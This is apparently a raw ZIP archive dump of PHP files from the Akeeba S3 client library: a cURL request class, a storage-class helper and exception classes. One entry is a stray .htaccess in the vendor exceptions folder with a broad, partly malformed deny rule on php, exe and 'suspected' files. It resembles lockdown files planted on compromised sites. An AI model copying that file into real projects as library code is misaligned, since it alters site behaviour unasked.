				$this->error->setResource((string) $this->body->Resource);
			}
		}
	}
}
PK     \SʃN  N     vendor/akeeba/s3/src/Request.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

use Akeeba\S3\Response\Error;

// Protection against direct access
defined('AKEEBAENGINE') || die();


class Request
{
	/**
	 * The HTTP verb to use
	 *
	 * @var  string
	 */
	private $verb = 'GET';

	/**
	 * The bucket we are using
	 *
	 * @var  string
	 */
	private $bucket = '';

	/**
	 * The object URI, relative to the bucket's root
	 *
	 * @var  string
	 */
	private $uri = '';

	/**
	 * The remote resource we are querying
	 *
	 * @var  string
	 */
	private $resource = '';

	/**
	 * Query string parameters
	 *
	 * @var  array
	 */
	private $parameters = [];

	/**
	 * Amazon-specific headers to pass to the request
	 *
	 * @var  array
	 */
	private $amzHeaders = [];

	/**
	 * Regular HTTP headers to send in the request
	 *
	 * @var  array
	 */
	private $headers = [
		'Host'         => '',
		'Date'         => '',
		'Content-MD5'  => '',
		'Content-Type' => '',
	];

	/**
	 * Input data for the request
	 *
	 * @var  Input
	 */
	private $input = null;

	/**
	 * The file resource we are writing data to
	 *
	 * @var  resource|null
	 */
	private $fp = null;

	/**
	 * The Amazon S3 configuration object
	 *
	 * @var Configuration
	 */
	private $configuration = null;

	/**
	 * The response object
	 *
	 * @var  Response
	 */
	private $response = null;

	/**
	 * The location of the CA certificate cache. It can be a file or a directory. If it's not specified, the location
	 * set in AKEEBA_CACERT_PEM will be used
	 *
	 * @var  string|null
	 */
	private $caCertLocation = null;

	/**
	 * Constructor
	 *
	 * @param   string         $verb           HTTP verb, e.g. 'POST'
	 * @param   string         $bucket         Bucket name, e.g. 'example-bucket'
	 * @param   string         $uri            Object URI
	 * @param   Configuration  $configuration  The Amazon S3 configuration object to use
	 *
	 * @return  void
	 */
	function __construct(string $verb, string $bucket, string $uri, Configuration $configuration)
	{
		$this->verb          = $verb;
		$this->bucket        = $bucket;
		$this->uri           = '/';
		$this->configuration = $configuration;

		if (!empty($uri))
		{
			$this->uri = '/' . str_replace('%2F', '/', rawurlencode($uri));
		}

		$this->headers['Host'] = $this->getHostName($configuration, $this->bucket);
		$this->resource        = $this->uri;

		if (($this->bucket !== '') && $configuration->getUseLegacyPathStyle())
		{
			$this->resource = '/' . $this->bucket . $this->uri;

			$this->uri = $this->resource;
		}

		// The date must always be added as a header
		$this->headers['Date'] = gmdate('D, d M Y H:i:s O');

		// S3-"compatible" services use a different date format. Because why not?
		if ($this->configuration->getAlternateDateHeaderFormat() && strpos($this->headers['Host'], '.amazonaws.com') === false)
		{
			$this->headers['Date'] = gmdate('D, d M Y H:i:s T');
		}

		// If there is a security token we need to set up the X-Amz-Security-Token header
		$token = $this->configuration->getToken();

		if (!empty($token))
		{
			$this->setAmzHeader('x-amz-security-token', $token);
		}

		// Initialize the response object
		$this->response = new Response();
	}

	/**
	 * Get the input object
	 *
	 * @return  Input|null
	 */
	public function getInput(): ?Input
	{
		return $this->input;
	}

	/**
	 * Set the input object
	 *
	 * @param   Input  $input
	 *
	 * @return  void
	 */
	public function setInput(Input $input): void
	{
		$this->input = $input;
	}

	/**
	 * Set a request parameter
	 *
	 * @param   string       $key    The parameter name
	 * @param   string|null  $value  The parameter value
	 *
	 * @return  void
	 */
	public function setParameter(string $key, ?string $value): void
	{
		$this->parameters[$key] = $value;
	}

	/**
	 * Set a request header
	 *
	 * @param   string  $key    The header name
	 * @param   string  $value  The header value
	 *
	 * @return  void
	 */
	public function setHeader(string $key, string $value): void
	{
		$this->headers[$key] = $value;
	}

	/**
	 * Set an x-amz-meta-* header
	 *
	 * @param   string  $key    The header name
	 * @param   string  $value  The header value
	 *
	 * @return  void
	 */
	public function setAmzHeader(string $key, string $value): void
	{
		$this->amzHeaders[$key] = $value;
	}

	/**
	 * Get the HTTP verb of this request
	 *
	 * @return  string
	 */
	public function getVerb(): string
	{
		return $this->verb;
	}

	/**
	 * Get the S3 bucket's name
	 *
	 * @return  string
	 */
	public function getBucket(): string
	{
		return $this->bucket;
	}

	/**
	 * Get the absolute URI of the resource we're accessing
	 *
	 * @return  string
	 */
	public function getResource(): string
	{
		return $this->resource;
	}

	/**
	 * Get the parameters array
	 *
	 * @return  array
	 */
	public function getParameters(): array
	{
		return $this->parameters;
	}

	/**
	 * Get the Amazon headers array
	 *
	 * @return  array
	 */
	public function getAmzHeaders(): array
	{
		return $this->amzHeaders;
	}

	/**
	 * Get the other headers array
	 *
	 * @return  array
	 */
	public function getHeaders(): array
	{
		return $this->headers;
	}

	/**
	 * Get a reference to the Amazon configuration object
	 *
	 * @return  Configuration
	 */
	public function getConfiguration(): Configuration
	{
		return $this->configuration;
	}

	/**
	 * Get the file pointer resource (for PUT and POST requests)
	 *
	 * @return  resource|null
	 */
	public function &getFp()
	{
		return $this->fp;
	}

	/**
	 * Set the data resource as a file pointer
	 *
	 * @param   resource  $fp
	 */
	public function setFp($fp): void
	{
		$this->fp = $fp;
	}

	/**
	 * Get the certificate authority location
	 *
	 * @return  string|null
	 */
	public function getCaCertLocation(): ?string
	{
		if (!empty($this->caCertLocation))
		{
			return $this->caCertLocation;
		}

		if (defined('AKEEBA_CACERT_PEM'))
		{
			return AKEEBA_CACERT_PEM;
		}

		return null;
	}

	/**
	 * @param   null|string  $caCertLocation
	 */
	public function setCaCertLocation(?string $caCertLocation): void
	{
		if (empty($caCertLocation))
		{
			$caCertLocation = null;
		}

		if (!is_null($caCertLocation) && !is_file($caCertLocation) && !is_dir($caCertLocation))
		{
			$caCertLocation = null;
		}

		$this->caCertLocation = $caCertLocation;
	}

	/**
	 * Get a pre-signed URL for the request.
	 *
	 * Typically used to pre-sign GET requests to objects, i.e. give shareable pre-authorized URLs for downloading
	 * private or otherwise inaccessible files from S3.
	 *
	 * @param   int|null  $lifetime  Lifetime in seconds
	 * @param   bool      $https     Use HTTPS ($hostBucket should be false for SSL verification)?
	 *
	 * @return  string  The authenticated URL, complete with signature
	 */
	public function getAuthenticatedURL(?int $lifetime = null, bool $https = false): string
	{
		$this->processParametersIntoResource();
		$signer = Signature::getSignatureObject($this, $this->configuration->getSignatureMethod());

		return $signer->getAuthenticatedURL($lifetime, $https);
	}

	/**
	 * Get the S3 response
	 *
	 * @return  Response
	 */
	public function getResponse(bool $rawResponse = false): Response
	{
		$this->processParametersIntoResource();

		$schema = 'http://';

		if ($this->configuration->isSSL())
		{
			$schema = 'https://';
		}

		// Very special case. IF the URI ends in /?location AND the region is us-east-1 (Host is
		// s3-external-1.amazonaws.com) THEN the host MUST become s3.amazonaws.com for the request to work. This is case
		// of us not knowing the region of the bucket, therefore having to use a special endpoint which lets us query
		// the region of the bucket without knowing its region. See
		// http://stackoverflow.com/questions/27091816/retrieve-buckets-objects-without-knowing-buckets-region-with-aws-s3-rest-api
		if ((substr($this->uri, -10) == '/?location') && ($this->headers['Host'] == 's3-external-1.amazonaws.com'))
		{
			$this->headers['Host'] = 's3.amazonaws.com';
		}

		$url = $schema . $this->headers['Host'] . $this->uri;

		// Basic setup
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_USERAGENT, 'AkeebaBackupProfessional/S3PostProcessor');

		if ($this->configuration->isSSL())
		{
			// Set the CA certificate cache location
			$caCert = $this->getCaCertLocation();

			if (!empty($caCert))
			{
				if (is_dir($caCert))
				{
					@curl_setopt($curl, CURLOPT_CAPATH, $caCert);
				}
				else
				{
					@curl_setopt($curl, CURLOPT_CAINFO, $caCert);
				}
			}

			/**
			 * Verify the host name in the certificate and the certificate itself.
			 *
			 * Caveat: if your bucket contains dots in the name we have to turn off host verification due to the way the
			 * S3 SSL certificates are set up.
			 */
			$isAmazonS3  = (substr($this->headers['Host'], -14) == '.amazonaws.com')
			               || substr(
				                  $this->headers['Host'], -16
			                  ) == 'amazonaws.com.cn';
			$tooManyDots = substr_count($this->headers['Host'], '.') > 4;

			$verifyHost = ($isAmazonS3 && $tooManyDots) ? 0 : 2;

			curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, $verifyHost);
			curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
		}

		curl_setopt($curl, CURLOPT_URL, $url);

		/**
		 * Set the optional x-amz-date header instead of the standard HTTP Date header.
		 *
		 * Amazon S3 proper expects to get the date from the Date header. It also allows you to instead use the optional
		 * X-Amz-Date header as a means to resolve situations where your HTTP library does not let you control the
		 * standard Date header. In other words, it accepts both, it encourages the standard Date header, but it will
		 * give priority to the X-Amz-Date header to help you get out of a sticky situation.
		 *
		 * Unfortunately, third party services which claim to be "S3-compatible" are written by people with poor reading
		 * skills or, more likely, under unrealistic time constraints to deliver working code. They are implementing the
		 * date handling behaviout wrong. Instead of using the Date header unless the X-Amz-Date header is set, they
		 * **expect** to only ever see the X-Amz-Date header. If it's missing, they do not fall back to the standard
		 * Date header; they just spit out a message about the signature being wrong. Wasabi and ExoScale are two prime
		 * examples of that, and only when using v2 signatures.
		 *
		 * To avoid this problem, we are now defaulting to always using the X-Amz-Date header everywhere. If you want to
		 * revert to using the Date header with S3 proper please use setUseHTTPDateHeader(true) to your configuration
		 * object. In this case DO NOT set the X-Amz-Date header yourself, or you're going to have a *really* bad time.
		 */
		if (!$this->configuration->getUseHTTPDateHeader())
		{
			$this->amzHeaders['x-amz-date'] = (new \DateTime($this->headers['Date']))->format('Ymd\THis\Z');

			unset ($this->headers['Date']);
		}

		/**
		 * Remove empty headers.
		 *
		 * While Amazon S3 proper and most third party implementations have no problem with that, there a few of them
		 * (such as Synology C2) which choke on empty headers.
		 */
		$this->headers = array_filter($this->headers);

		// Get the request signature
		$signer = Signature::getSignatureObject($this, $this->configuration->getSignatureMethod());
		$signer->preProcessHeaders($this->headers, $this->amzHeaders);

		// Headers
		$headers = [];

		foreach ($this->amzHeaders as $header => $value)
		{
			if (strlen($value) > 0)
			{
				$headers[] = $header . ': ' . $value;
			}
		}

		foreach ($this->headers as $header => $value)
		{
			if (strlen($value) > 0)
			{
				$headers[] = $header . ': ' . $value;
			}
		}

		$headers[] = 'Authorization: ' . $signer->getAuthorizationHeader();

		curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($curl, CURLOPT_HEADER, false);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, false);
		curl_setopt($curl, CURLOPT_WRITEFUNCTION, [$this, '__responseWriteCallback']);
		curl_setopt($curl, CURLOPT_HEADERFUNCTION, [$this, '__responseHeaderCallback']);
		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

		// Request types
		switch ($this->verb)
		{
			case 'GET':
				break;

			case 'PUT':
			case 'POST':
				if (!is_object($this->input) || !($this->input instanceof Input))
				{
					$this->input = new Input();
				}

				$size = $this->input->getSize();
				$type = $this->input->getInputType();

				if ($type == Input::INPUT_DATA)
				{
					curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $this->verb);

					$data = $this->input->getDataReference();

					if (strlen($data ?? ''))
					{
						curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
					}

					if ($size > 0)
					{
						curl_setopt($curl, CURLOPT_BUFFERSIZE, $size);
					}
				}
				else
				{
					curl_setopt($curl, CURLOPT_PUT, true);
					curl_setopt($curl, CURLOPT_INFILE, $this->input->getFp());

					if ($size > 0)
					{
						curl_setopt($curl, CURLOPT_INFILESIZE, $size);
					}
				}


				break;

			case 'HEAD':
				curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'HEAD');
				curl_setopt($curl, CURLOPT_NOBODY, true);
				break;

			case 'DELETE':
				curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE');
				break;

			default:
				break;
		}

		// Execute, grab errors
		$this->response->resetBody();

		if (curl_exec($curl))
		{
			$this->response->code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		}
		else
		{
			$this->response->error = new Error(
				curl_errno($curl),
				curl_error($curl),
				$this->resource
			);
		}

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			@curl_close($curl);
		}

		// Set the body data
		$this->response->finaliseBody($rawResponse);

		// Clean up file resources
		if (!is_null($this->fp) && is_resource($this->fp))
		{
			try
			{
				@fclose($this->fp);
			}
			catch (\Throwable $e)
			{
			}
		}

		return $this->response;
	}


	/**
	 * cURL write callback
	 *
	 * @param   resource   &$curl  cURL resource
	 * @param   string     &$data  Data
	 *
	 * @return  int  Length in bytes
	 */
	protected function __responseWriteCallback($curl, string $data): int
	{
		if (in_array($this->response->code, [0, 200, 206]) && !is_null($this->fp) && is_resource($this->fp))
		{
			return fwrite($this->fp, $data);
		}

		$this->response->addToBody($data);

		return strlen($data);
	}

	/**
	 * cURL header callback
	 *
	 * @param   resource   $curl  cURL resource
	 * @param   string    &$data  Data
	 *
	 * @return  int  Length in bytes
	 */
	protected function __responseHeaderCallback($curl, string $data): int
	{
		if (($strlen = strlen($data)) <= 2)
		{
			return $strlen;
		}

		if (substr($data, 0, 4) == 'HTTP')
		{
			$this->response->code = (int) substr($data, 9, 3);

			return $strlen;
		}

		// Ignore malformed headers without a value.
		if (strpos($data, ':') === false)
		{
			return $strlen;
		}

		[$header, $value] = explode(':', trim($data), 2);
		$header = trim($header ?? '');
		$value  = trim($value ?? '');

		switch (strtolower($header))
		{
			case 'last-modified':
				$this->response->setHeader('time', strtotime($value));
				break;

			case 'content-length':
				$this->response->setHeader('size', (int) $value);
				break;

			case 'content-type':
				$this->response->setHeader('type', $value);
				break;

			case 'etag':
				$this->response->setHeader('hash', trim($value, '"'));
				break;

			default:
				$this->response->setHeader(strtolower($header), is_numeric($value) ? (int) $value : $value);

				if (preg_match('/^x-amz-meta-.*$/', $header))
				{
					$this->setHeader($header, is_numeric($value) ? (int) $value : $value);
				}
				break;
		}

		return $strlen;
	}

	/**
	 * Processes $this->parameters as a query string into $this->resource
	 *
	 * @return  void
	 */
	private function processParametersIntoResource(): void
	{
		if (count($this->parameters))
		{
			$query = substr($this->uri, -1) !== '?' ? '?' : '&';

			ksort($this->parameters);

			foreach ($this->parameters as $var => $value)
			{
				if ($value == null || $value == '')
				{
					$query .= $var . '&';
				}
				else
				{
					// Parameters must be URL-encoded
					$query .= $var . '=' . rawurlencode($value) . '&';
				}
			}

			$query     = substr($query, 0, -1);
			$this->uri .= $query;

			if (array_key_exists('acl', $this->parameters) || array_key_exists('location', $this->parameters)
			    || array_key_exists('torrent', $this->parameters)
			    || array_key_exists('logging', $this->parameters)
			    || array_key_exists('uploads', $this->parameters)
			    || array_key_exists('uploadId', $this->parameters)
			    || array_key_exists('partNumber', $this->parameters)
			)
			{
				$this->resource .= $query;
			}
		}
	}

	/**
	 * Get the region-specific hostname for an operation given a configuration and a bucket name. This ensures we can
	 * always use an HTTPS connection, even with buckets containing dots in their names, without SSL certificate host
	 * name validation issues.
	 *
	 * Please note that this requires the pathStyle flag to be set in Configuration because Amazon RECOMMENDS using the
	 * virtual-hosted style request where applicable. See http://docs.aws.amazon.com/AmazonS3/latest/API/APIRest.html
	 * Quoting this documentation:
	 * "Although the path-style is still supported for legacy applications, we recommend using the virtual-hosted style
	 * where applicable."
	 *
	 * @param   Configuration  $configuration
	 * @param   string         $bucket
	 *
	 * @return  string
	 */
	private function getHostName(Configuration $configuration, string $bucket): string
	{
		// http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region
		$endpoint = $configuration->getEndpoint();
		$region   = $configuration->getRegion();

		// If it's a bucket in China we need to use a different endpoint
		if (($endpoint == 's3.amazonaws.com') && (substr($region, 0, 3) == 'cn-'))
		{
			$endpoint = 'amazonaws.com.cn';
		}

		/**
		 * If there is no bucket we use the default endpoint, whatever it is. For Amazon S3 this format is only used
		 * when we are making account-level, cross-region requests, e.g. list all buckets. For S3-compatible APIs it
		 * depends on the API, but generally it's just for listing available buckets.
		 */
		if (empty($bucket))
		{
			return $endpoint;
		}

		/**
		 * Are we using v2 signatures? In this case we use the endpoint defined by the user without translating it.
		 */
		if ($configuration->getSignatureMethod() != 'v4')
		{
			// Legacy path style: the hostname is the endpoint
			if ($configuration->getUseLegacyPathStyle())
			{
				return $endpoint;
			}

			// Virtual hosting style: the hostname is the bucket, dot and endpoint.
			return $bucket . '.' . $endpoint;
		}

		/**
		 * Only applies to Amazon S3 proper.
		 *
		 * When using the Amazon S3 with the v4 signature API we have to use a different hostname per region. The
		 * mapping can be found in https://docs.aws.amazon.com/general/latest/gr/s3.html#s3_region
		 *
		 * This means changing the endpoint to s3.REGION.amazonaws.com with the following exceptions:
		 * For China: s3.REGION.amazonaws.com.cn
		 *
		 * v4 signing does NOT support non-Amazon endpoints.
		 */
		if (in_array($endpoint, ['s3.amazonaws.com', 'amazonaws.com.cn']))
		{
			// Most endpoints: s3-REGION.amazonaws.com
			$regionalEndpoint = $region . '.amazonaws.com';

			// Exception: China
			if (substr($region, 0, 3) == 'cn-')
			{
				// Chinese endpoint, e.g.: s3.cn-north-1.amazonaws.com.cn
				$regionalEndpoint = $regionalEndpoint . '.cn';
			}

			// If dual-stack URLs are enabled then prepend the endpoint
			if ($configuration->getDualstackUrl())
			{
				$endpoint = 's3.dualstack.' . $regionalEndpoint;
			}
			else
			{
				$endpoint = 's3.' . $regionalEndpoint;
			}
		}

		// Legacy path style access: return just the endpoint
		if ($configuration->getUseLegacyPathStyle())
		{
			return $endpoint;
		}

		// Recommended virtual hosting access: bucket, dot, endpoint.
		return $bucket . '.' . $endpoint;
	}
}
PK     \ׇX
  X
  %  vendor/akeeba/s3/src/StorageClass.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

/**
 * Amazon S3 Storage Classes
 *
 * When you want to override the default storage class of the bucket pass
 * array('X-Amz-Storage-Class' => StorageClass::STANDARD)
 * in the $headers array of Connector::putObject().
 *
 * Alternatively, run the $headers array through setStorageClass(), e.g.
 * $headers = array(); // You can put your stuff here
 * StorageClass::setStorageClass($headers, StorageClass::STANDARD);
 * $connector->putObject($myInput, 'bucketname', 'path/to/object.dat', Acl::PRIVATE, $headers)
 *
 * @see https://aws.amazon.com/s3/storage-classes/
 */
class StorageClass
{
	/**
	 * Amazon S3 Standard (S3 Standard)
	 */
	public const STANDARD = 'STANDARD';

	/**
	 * Reduced redundancy storage
	 *
	 * Not recommended anymore. Use INTELLIGENT_TIERING instead.
	 */
	public const REDUCED_REDUNDANCY = 'REDUCED_REDUNDANCY';

	/**
	 * Amazon S3 Intelligent-Tiering (S3 Intelligent-Tiering)
	 */
	public const INTELLIGENT_TIERING = 'INTELLIGENT_TIERING';

	/**
	 * Amazon S3 Standard-Infrequent Access (S3 Standard-IA)
	 */
	public const STANDARD_IA = 'STANDARD_IA';

	/**
	 * Amazon S3 One Zone-Infrequent Access (S3 One Zone-IA)
	 */
	public const ONEZONE_IA = 'ONEZONE_IA';

	/**
	 * Amazon S3 Glacier (S3 Glacier)
	 */
	public const GLACIER = 'GLACIER';

	/**
	 * Amazon S3 Glacier Deep Archive (S3 Glacier Deep Archive)
	 */
	public const DEEP_ARCHIVE = 'DEEP_ARCHIVE';

	/**
	 * Manipulate the $headers array, setting the X-Amz-Storage-Class header for the requested storage class.
	 *
	 * This method will automatically remove any previously set X-Amz-Storage-Class header, case-insensitive. The reason
	 * for that is that Amazon headers **are** case-insensitive and you could easily end up having two separate headers
	 * with competing storage classes. This would mess up the signature and your request would promptly fail.
	 *
	 * @param   array   $headers
	 * @param   string  $storageClass
	 *
	 * @return  void
	 */
	public static function setStorageClass(array &$headers, string $storageClass): void
	{
		// Remove all previously set X-Amz-Storage-Class headers (case-insensitive)
		$killList = [];

		foreach ($headers as $key => $value)
		{
			if (strtolower($key) === 'x-amz-storage-class')
			{
				$killList[] = $key;
			}
		}

		foreach ($killList as $key)
		{
			unset($headers[$key]);
		}

		// Add the new X-Amz-Storage-Class header
		$headers['X-Amz-Storage-Class'] = $storageClass;
	}
}PK     \Q!    5  vendor/akeeba/s3/src/Exception/InvalidFilePointer.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use InvalidArgumentException;
use Throwable;

class InvalidFilePointer extends InvalidArgumentException
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The specified file pointer is not a valid stream resource';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \\    .  vendor/akeeba/s3/src/Exception/InvalidBody.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;
use Throwable;

/**
 * Invalid response body type
 */
class InvalidBody extends RuntimeException
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'Invalid response body type';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \')_    5  vendor/akeeba/s3/src/Exception/ConfigurationError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * Configuration error
 */
abstract class ConfigurationError extends RuntimeException
{

}
PK     \:E    0  vendor/akeeba/s3/src/Exception/InvalidRegion.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Throwable;

/**
 * Invalid Amazon S3 region
 */
class InvalidRegion extends ConfigurationError
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The Amazon S3 region provided is invalid.';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \Jz  z  4  vendor/akeeba/s3/src/Exception/CannotListBuckets.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

class CannotListBuckets extends RuntimeException
{
}
PK     \wR  R  8  vendor/akeeba/s3/src/Exception/CannotOpenFileForRead.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;
use Throwable;

class CannotOpenFileForRead extends RuntimeException
{
	public function __construct(string $file = "", int $code = 0, ?Throwable $previous = null)
	{
		$message = "Cannot open $file for reading";

		parent::__construct($message, $code, $previous);
	}

}
PK     \Mxv  v  0  vendor/akeeba/s3/src/Exception/CannotPutFile.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

class CannotPutFile extends RuntimeException
{
}
PK     \zU+}    9  vendor/akeeba/s3/src/Exception/InvalidSignatureMethod.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Throwable;

/**
 * Invalid Amazon S3 signature method
 */
class InvalidSignatureMethod extends ConfigurationError
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The Amazon S3 signature method provided is invalid. Only v2 and v4 signatures are supported.';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \G    3  vendor/akeeba/s3/src/Exception/InvalidSecretKey.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Throwable;

/**
 * Invalid Amazon S3 secret key
 */
class InvalidSecretKey extends ConfigurationError
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The Amazon S3 Secret Key provided is invalid';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \7ܧ    3  vendor/akeeba/s3/src/Exception/PropertyNotFound.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use LogicException;

/**
 * Invalid magic property name
 */
class PropertyNotFound extends LogicException
{
}
PK     \ 8y  y  3  vendor/akeeba/s3/src/Exception/CannotDeleteFile.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

class CannotDeleteFile extends RuntimeException
{
}
PK     \\-    3  vendor/akeeba/s3/src/Exception/InvalidAccessKey.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Throwable;

/**
 * Invalid Amazon S3 access key
 */
class InvalidAccessKey extends ConfigurationError
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The Amazon S3 Access Key provided is invalid';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \s/v  v  0  vendor/akeeba/s3/src/Exception/CannotGetFile.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

class CannotGetFile extends RuntimeException
{
}
PK     \zJS  S  9  vendor/akeeba/s3/src/Exception/CannotOpenFileForWrite.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;
use Throwable;

class CannotOpenFileForWrite extends RuntimeException
{
	public function __construct(string $file = "", int $code = 0, ?Throwable $previous = null)
	{
		$message = "Cannot open $file for writing";

		parent::__construct($message, $code, $previous);
	}

}
PK     \n    2  vendor/akeeba/s3/src/Exception/InvalidEndpoint.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Throwable;

/**
 * Invalid Amazon S3 endpoint
 */
class InvalidEndpoint extends ConfigurationError
{
	public function __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
	{
		if (empty($message))
		{
			$message = 'The custom S3 endpoint provided is invalid. Do NOT include the protocol (http:// or https://). Valid examples are s3.example.com and www.example.com/s3Api';
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \Sʉ      (  vendor/akeeba/s3/src/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \7!ax  x  2  vendor/akeeba/s3/src/Exception/CannotGetBucket.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Exception;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use RuntimeException;

class CannotGetBucket extends RuntimeException
{
}
PK     \Y    "  vendor/akeeba/s3/src/Signature.phpnu [        <?php
/**
 * Akeeba Engine
 *
